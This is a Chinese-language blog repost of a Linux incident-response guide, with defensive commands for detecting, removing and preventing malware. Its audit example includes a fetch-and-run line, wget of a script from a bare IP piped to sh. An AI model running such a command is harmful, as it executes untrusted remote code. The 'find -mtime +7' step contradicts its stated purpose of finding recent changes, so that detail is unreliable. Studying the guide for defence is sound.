<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    超全Linux應急響應技巧

    VSole2023-01-14 14:33:11

    留存備用

    Linux環境下處理應急響應事件往往會更加的棘手,因為相比于Windows,Linux沒有像Autorun、procexp這樣的應急響應利器,也沒有統一的應急響應處理流程。所以,這篇文章將會對Linux環境下的應急響應流程進行講解,并且提供每一個環節中所用到的shell命令,以幫助大家快速、系統化地處理Linux環境下的病毒。

    處理Linux應急響應主要分為這4個環節:

    識別現象->清除病毒->閉環兜底->系統加固

    首先從用戶場景的主機異常現象出發,先識別出病毒的可疑現象。

    然后定位到具體的病毒進程以及病毒文件,進行清除。

    完成前2步還不夠,病毒一般會通過一些自啟動項及守護程序進行重復感染,所以我們要執行閉環兜底確保病毒不再被創建。

    將主機上的病毒項清除干凈后,最后就是進行系統加固了,防止病毒從Web再次入侵進來。

    走完這4個環節,才能算是一個應急響應流程的結束。

    01 識別現象

    第1個環節要求我們通過系統運行狀態、安全設備告警,發現主機異常現象,以及確認病毒的可疑行為。

    系統CPU是否異常

    枚舉進程,CPU降序排序:top

    CPU占用率超過70%且名字比較可疑的進程,大概率就是挖礦病毒了。

    是否存在可疑進程

    枚舉進程命令行:ps -aux

    病毒一般都攜帶可疑的命令行,當你發現命令行中帶有url等奇怪的字符串時,就要注意了,它很可能是個病毒downloader。

    安全網關有無報警

    從安全網關報警中識別出威脅是最直接,但確認主機已經感染了病毒只是第一步,接下來得定位,具體是哪個進程在與C&C通信。

    監控與目標IP通信的進程:

    while true; do netstat -antp | grep [ip]; done
    

    有時安全網關檢測到的不全是惡意IP,還有可能是個域名,這種情況下,域名對應的IP是變化的,我們不能直接用上述方法進行監控。

    我們可以先在host文件中添加一條規則,將惡意域名重定向到一個隨機的IP地址,然后對其進行監控。

    這樣就能得到與之通信的惡意進程了。

    有無可疑歷史命令

    遍歷主機歷史命令,查找有無惡意命令:history

    02 清除病毒

    從第1個環節追溯到的進程信息,將會幫助我們定位到病毒進程&病毒文件,實現清除。

    結束病毒進程

    清除可疑進程的進程鏈:

    ps -elf | grep [pid]
    kill -9 [pid]
    

    刪除病毒文件

    定位病毒進程對應的文件路徑:

    ls -al /proc/[pid]/exe
    rm -f [exe_path]
    

    03 閉環兜底

    檢查是否存在可疑定時任務

    枚舉定時任務:

    crontab -l
    

    查看anacron異步定時任務:

    cat /etc/anacrontab
    

    檢查是否存在可疑服務

    枚舉主機所有服務,查看是否有惡意服務:

    service --status-all
    

    檢查系統文件是否被劫持

    枚舉系統文件夾的文件,按修改事件排序查看7天內被修改過的文件:

    find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
    

    檢查是否存在病毒守護進程

    監控守護進程的行為:

    lsof -p [pid]
    

    strace -tt  -T -e  trace=all  -p $pid
    

    掃描是否存在惡意驅動

    枚舉/掃描系統驅動:lsmod

    安裝chkrootkit 進行掃描:

    wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
    tar zxvf chkrootkit.tar.gz
    cd chkrootkit-0.52
    make sense
    ./chkrootkit
    

    安裝rkhunter 進行掃描:

    Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
    tar -zxvf rkhunter-1.4.4.tar.gz
    cd rkhunter-1.4.4
    ./installer.sh --install
    rkhunter -c
    

    04 系統加固

    最后一個環節往往是大家比較容易遺忘的,Linux平臺下90%的病毒是通過網絡傳播感染的,所以,你的主機之所以會感染病毒,大部分原因也是因為Web安全防護不夠,趕緊檢查一下。

    修改SSH弱密碼

    查詢log主機登陸日志:

    grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
    

    定位有爆破的源IP:

    grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
    

    爆破日志的用戶名密碼:

    grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1";}'|uniq -c|sort -nr
    

    SSH爆破是Linux病毒最常用的傳播手段,若存在弱密碼的主機很容易被其他感染主機SSH爆破成功,從而再次感染病毒。

    添加命令審計

    為歷史的命令增加登錄的IP地址、執行命令時間等信息:

    保存1萬條命令:

    sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
    

    在/etc/profile的文件尾部添加如下行數配置信息:

    USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
    if [ "$USER_IP" = "" ]
    then
    USER_IP=`hostname`
    fi
    export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
    shopt -s histappend
    export PROMPT_COMMAND="history -a"
    

    讓配置生效:

    source /etc/profile
    

    生成效果:

    76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
    

    打上常見Web漏洞補丁

    structs2系列RCE漏洞

    thinkphp5.X RCE漏洞

    Redis未授權訪問漏洞

    Confluence RCE漏洞(CVE_2019_3396)

    Drupal RCE漏洞(CVE-2018-7600)

    ThinkPHP RCE漏洞(CVE-2019-9082)

    結尾

    Linux平臺下的惡意軟件威脅以僵尸網絡蠕蟲和挖礦病毒為主,由于Linux大多作為服務器暴露在公網,且Web應用的漏洞層出不窮,所以很容易被大范圍入侵,如常見的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要養成不使用弱密碼、勤打補丁的好習慣。

    如有侵權,請聯系刪除

    linux服務器linux系統
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    "請用root用戶執行此腳本!#最近啟動時間?#運行時間(天)?#相同ID的用戶?#密碼過期(天)?#允許root遠程登錄?#僵尸進程數量?#自啟動服務數量?"系統巡檢腳本:Version $VERSION"
    Linux的應用越來越普遍,且絕大多數嵌入式系統都使用的是Linux系統。但近期,黑客對Linux服務器進行DDoS攻擊的次數飆升,受DDoS攻擊影響的有70多個國家,其中77%的攻擊都發生在中國,最容易受攻擊的國家還有法國和荷蘭。黑客主要是利用C&C 服務器來集中管理并執行DDoS攻擊,Linux服務器便成了其主要的攻擊目標。面對如此猖獗的黑客攻擊,Linux服務器如何做好預防工作呢?部署
    假如你想要搭建一個Linux服務器,并且希望可以長期維護的話,就需要考慮安全性能與速度等眾多因素。一份正確的linux基本安全配置手冊就顯得格外重要。#為刪除你系統上的用戶,用下面的命令:[root@c1gstudio]# userdel username#批量刪除方式#這里刪除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "賬號#如果你開著ftp等服務可以把ftp賬號保留下來。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
    #更改SSH端口,最好改為10000以上,別人掃描到端口的機率也會下降。防火墻要開放配置好的端口號,如果是阿里云服務器,你還需要去阿里云后臺配置開發相應的端口才可以,否則登不上哦!如果你覺得麻煩,可以不用改。#禁用版本1協議, 因為其設計缺陷, 很容易使密碼被黑掉。關鍵在于環境變量的不同,su -的環境變量更全面。#禁止空密碼登陸。保存,用 uusama 賬戶登錄后,直接獲取的就是 root 帳號的權限。
    Linux是一種開源操作系統,它支持各種硬件平臺,Linux服務器全球知名,它和Windows之間最主要的差異在于,Linux服務器默認情況下一般不提供GUI(圖形用戶界面),而是命令行界面,它的主要目的是高效處理非交互式進程,響應時間并不是那么重要,相反,能夠長時間處理高負載才是最關鍵的。
    當企業發生網絡安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,同時還需進一步查找入侵來源,還原入侵事故過程,給出解決方案與防范措施,為企業挽回或減少經濟損失。 常見的網絡安全事件:
    SSH 是一種廣泛使用的協議,用于安全地訪問 Linux 服務器。但是,不安全的默認配置也會帶來各種安全風險。具有開放 SSH 訪問權限的服務器的 root 帳戶可能存在風險。因此,有必要了解 SSH 安全性。這是在 Linux 上保護 SSH 服務器連接的方法。關閉 root 用戶的服務器訪問是一種防御策略,可以防止攻擊者實現入侵系統的目標。例如,您可以創建一個名為exampleroot的用戶,如下所示:useradd?
    如果你的Linux服務器突然負載暴增,告警短信快發爆你的手機,如何在最短時間內找出Linux性能問題所在?來看Netflix性能工程團隊的這篇博文,看它們通過十條命令在一分鐘內對機器性能問題進行診斷。概述 通過執行以下命令,可以在1分鐘內對系統資源使用情況有個大致的了解。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类